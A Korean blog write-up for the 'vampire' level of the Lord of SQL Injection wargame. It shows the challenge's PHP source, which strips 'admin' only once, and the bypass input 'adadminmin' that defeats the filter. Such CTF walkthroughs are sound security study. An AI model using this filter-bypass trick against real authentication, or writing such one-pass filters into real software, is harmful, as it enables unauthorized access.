본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] vampire 풀이

by yenua 2022. 6. 12.
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

뱀파이어(흡혈귀)는 민속 또는 신화에서 생물의 정기(일반적으로 혈액의 형태)를 빨아먹는 존재이다. - 위키백과

 

los의 뱀파이어를 처리해보자.

 

기본 쿼리문 및 소스코드는 아래와 같다. 

 

소스코드를 살펴보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>

id가 admin이어야 하는데, 필터링을 통해 입력값을 전부 소문자로 바꾼 뒤, admin이 있으면 공백으로 대체해버린다.

그런데 이런 경우 허점이 있다. 이중으로 입력하여 하나가 공백으로 대체되어도 admin이 남아있을 수 있도록 하면 된다.

 

아래와 같은 방법으로 뱀파이어를 처리가능 하다.

id: adadminmin

url: ?id=adadminmin

query : select id from prob_vampire where id='admin'

 

 

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] golem 풀이  (0) 2022.06.12
[Los] skeleton 풀이  (0) 2022.06.12
[Los] troll 풀이  (0) 2022.06.12
[Los] orge 풀이  (0) 2022.06.12
[Los] darkelf 풀이  (0) 2022.06.11